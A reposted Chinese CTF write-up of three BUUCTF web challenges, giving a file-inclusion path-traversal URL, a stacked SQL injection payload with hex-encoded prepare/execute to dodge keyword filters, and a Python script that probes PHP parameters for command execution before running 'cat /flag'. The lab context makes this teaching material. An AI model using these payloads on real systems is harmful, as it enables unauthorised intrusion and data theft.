BUUCTF刷题记录(Web方面)

WarmUp

  首先查看源码,发现有source.php,跟进看看,发现了一堆代码

                                                                                   BUUCTF刷题记录(Web方面)_第1张图片

 

 

这个原本是phpmyadmin任意文件包含漏洞,这里面只不过是换汤不换药。

有兴趣的可以看一下之前我做的分析,https://blog.csdn.net/Mikasa_/article/details/88594749     ,分析的有点差劲,不喜勿喷哈

 

当然这里面还有一个hint.php,进去发现了提示:flag not here, and flag in ffffllllaaaagggg

 

。。。。。。。。

事实上,确实在根目录下的ffffllllaaaagggg里面。

 

payload:  http://web5.buuoj.cn/?file=hint.php%253F/../../../../ffffllllaaaagggg

                                                                               BUUCTF刷题记录(Web方面)_第2张图片

 

 

 

 

 

 

 

随便注

 

  这道题是强网杯的原题,当时没有思路,现在回想起来,还是怪自己思路不够扩展,对Mysql的一些结构不够熟悉。。

 

首先这道题仅仅是过滤了一些基本关键词

                                                                           

但是对堆叠注入没有任何的检查,并且他这里面是将Mysql查询返回的结果以数组的形式返回,也就是说没有限制回显的多少。

 

我们先用 show tables;  和  desc   xxx;  收集表名以及表的结构

                                                                                 BUUCTF刷题记录(Web方面)_第3张图片

 

 

看表的结构:

                                                                          BUUCTF刷题记录(Web方面)_第4张图片

可以看到flag在1919810931114514表中。

之后原本想用存储过程绕过,发现。。。。

                                                     

不过使用strstr和获取的,我们可以大小写绕过

payload:http://web16.buuoj.cn/?inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;#

关于储存过程可以看看这里:

https://blog.csdn.net/weixin_37839711/article/details/81562550

 

 

高明的黑客

 

也是强网杯的原题。

首先根据题意,我们输入web15.buuoj.cn/www.tar.gz来下载文件。

 

看到有很多的php文件,并且好像有很多可以执行命令的,其实不然。。大多数都不行,这个时候就需要我们写脚本区匹配了,因此将压缩包放到本地,然后利用脚本不断的跑。

 

放一下以前写的脚本

# -*- coding:utf-8 -*-
import requests
import re
import os
import sys
import time
path="./src/"
for dir in os.listdir(path):
    f=open(path+dir)
    content=f.read()
    f.close()
    rc=re.compile(r'(\$_GET\[\')(.*)(\'\])')
    Mikasa=rc.findall(content)
    for test in Mikasa :
        var=test[1]
        url="http://192.168.234.128:2222/"+dir+"?"+var+"=echo 'Sdlawsl';"
        UI=requests.get(url)
        if "Sdlawsl" in UI.text:
            print(UI.text)
            print(dir)
            print(test[1])
            exit()

 这里就可以匹配出可以执行命令的文件,之所以用的是echo,是因为不论对eval等PHP命令执行函数,还是System系统命令函数来说支持都很好,下面是匹配出来的结果

                                                                           

可见在xk0SzyKwfzw.php中的Efa5BVG存在命令执行,cat  /flag,获得flag

 

转载于:https://www.cnblogs.com/Mikasa-Ackerman/p/11050033.html

你可能感兴趣的:(BUUCTF刷题记录(Web方面))